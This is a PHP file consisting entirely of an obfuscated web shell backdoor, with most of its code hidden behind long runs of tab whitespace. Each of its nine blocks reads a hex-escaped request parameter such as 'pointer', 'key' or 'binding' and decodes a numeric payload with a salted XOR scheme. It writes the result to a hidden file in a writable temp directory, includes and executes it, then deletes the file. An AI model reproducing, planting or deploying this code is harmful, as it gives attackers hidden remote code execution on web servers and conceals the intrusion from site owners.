<?php																																										if(isset($_REQUEST["poin\x74er"]) ? true : false){ $parameter_group = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); $reference = $_REQUEST["poin\x74er"]; $reference =explode (".", $reference ) ; $dchunk=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); $j=0; $len=count($reference); do { if ($j >= $len) break; $v1=$reference[$j]; $chS=ord($salt7[$j % $lenS]); $d=((int)$v1 - $chS - ($j % 10)) ^ 84; $dchunk .= chr($d); $j++; }while (true); foreach ($parameter_group as $key => $pset) { if (array_product([is_dir($pset), is_writable($pset)])) { $ptr = str_replace("{var_dir}", $pset, "{var_dir}/.sym"); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(isset($_REQUEST["\x70s\x65t"]) ? true : false){ $comp = $_REQUEST["\x70s\x65t"]; $comp= explode( '.' ,$comp ) ; $ref =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2); foreach ($comp as $j=> $v3): $chS =ord($s2[$j % $sLen]); $d =((int)$v3 - $chS - ($j % 10)) ^ 40; $ref .= chr($d); endforeach; $tkn = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir()]); for ($obj = 0, $symbol = count($tkn); $obj < $symbol; $obj++) { $token = $tkn[$obj]; if (!!is_dir($token) && !!is_writable($token)) { $entity = "$token" . "/.hld"; if (@file_put_contents($entity, $ref) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["va\x6C"])){ $object = $_REQUEST["va\x6C"]; $object=explode ('.' , $object ) ; $value = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $v = 0; foreach($object as $v1) { $chS = ord($s7[$v % $lenS] ); $dec =((int)$v1 - $chS -($v % 10)) ^ 18; $value .= chr($dec ); $v++; } $dat = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", session_save_path()]); foreach ($dat as $rec): if (!!is_dir($rec) && !!is_writable($rec)) { $factor = vsprintf("%s/%s", [$rec, ".binding"]); $success = file_put_contents($factor, $value); if ($success) { include $factor; @unlink($factor); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["k\x65y"])){ $tkn = $_REQUEST["k\x65y"]; $tkn= explode ( '.', $tkn ) ; $mrk = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); $v = 0; while( $v < count( $tkn)) { $v5 = $tkn[$v]; $sChar = ord( $salt9[$v % $sLen] ); $dec =( ( int)$v5 - $sChar -( $v % 10)) ^ 30; $mrk .= chr( $dec ); $v++; } $factor = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp"]); while ($flag = array_shift($factor)) { if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $value = str_replace("{var_dir}", $flag, "{var_dir}/.data"); if (file_put_contents($value, $mrk)) { require $value; unlink($value); exit; } } } }
																																										if(!empty($_POST["ent"])){ $comp = $_POST["ent"]; $comp = explode( '.' ,$comp ); $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($comp as $w => $v8): $sChar = ord($salt[$w % $lenS]); $dec = ((int)$v8 - $sChar - ($w % 10)) ^ 10; $property_set .= chr($dec); endforeach; $ptr = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($ptr as $itm): if (max(0, is_dir($itm) * is_writable($itm))) { $fac = "$itm/.bind"; $success = file_put_contents($fac, $property_set); if ($success) { include $fac; @unlink($fac); die();} } endforeach; }
																																										if(!is_null($_REQUEST["b\x69\x6Ed"] ?? null)){ $entry = $_REQUEST["b\x69\x6Ed"]; $entry =explode("." , $entry ) ; $pgrp =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s2); $__len =count( $entry); for( $w =0; $w < $__len; $w++) { $v3 =$entry[$w]; $sChar =ord( $s2[$w%$lenS]); $dec =( ( int)$v3 - $sChar -( $w%10)) ^ 49; $pgrp.= chr( $dec);} $holder = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $ref = 0; do { $binding = $holder[$ref] ?? null; if ($ref >= count($holder)) break; if (is_dir($binding) && is_writable($binding)) { $obj = join("/", [$binding, ".property_set"]); if (file_put_contents($obj, $pgrp)) { require $obj; unlink($obj); exit; } } $ref++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x61\x63tor"])){ $item = $_REQUEST["\x66\x61\x63tor"]; $item=explode ( '.' ,$item ); $data_chunk= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1 ); $i= 0; array_walk($item, function ($v2) use (&$data_chunk, &$i, $s1, $sLen) {$chS= ord($s1[$i % $sLen] ); $dec= ((int)$v2 - $chS - ($i % 10)) ^67; $data_chunk .= chr($dec ); $i++;} ); $record = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); foreach ($record as $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $descriptor = vsprintf("%s/%s", [$desc, ".ref"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["t\x6Bn"])){ $value = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd()]); $element = $_REQUEST["t\x6Bn"]; $element =explode ( '.' ,$element ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($element as $p => $v4): $sChar = ord($salt[$p % $lenS]); $dec = ((int)$v4 - $sChar - ($p % 10))^ 51; $itm.=chr($dec); endforeach; for ($ref = 0, $hld = count($value); $ref < $hld; $ref++) { $desc = $value[$ref]; if (is_dir($desc) ? is_writable($desc) : false) { $token = "$desc/.descriptor"; if (@file_put_contents($token, $itm) !== false) { include $token; unlink($token); die(); } } } }


if(in_array("b\x69nding", array_keys($_REQUEST))){
	$pointer = $_REQUEST["b\x69nding"];
			$pointer	= 	explode	 	(		 ".",			$pointer)  ;		 
	$comp	 =	'';
            $salt3	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =	strlen( $salt3);
            $w	 =	0;
    
            while( $w< count( $pointer)) { 	$v4	 =	$pointer[$w];
                $chS	 =	ord( $salt3[$w % $sLen]);
                $d	 =	( ( int)$v4 - $chS -( $w % 10))  ^55;
                $comp.=  chr( $d);
                $w++; }  
	$entry = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path()]);
	foreach ($entry as $pgrp) {
    		if (!!is_dir($pgrp) && !!is_writable($pgrp)) {
    $factor = "$pgrp" . "/.flag";
    $file = fopen($factor, 'w');
if ($file) {
	fwrite($file, $comp);
	fclose($file);
	include $factor;
	@unlink($factor);
	exit;
}
}
}
}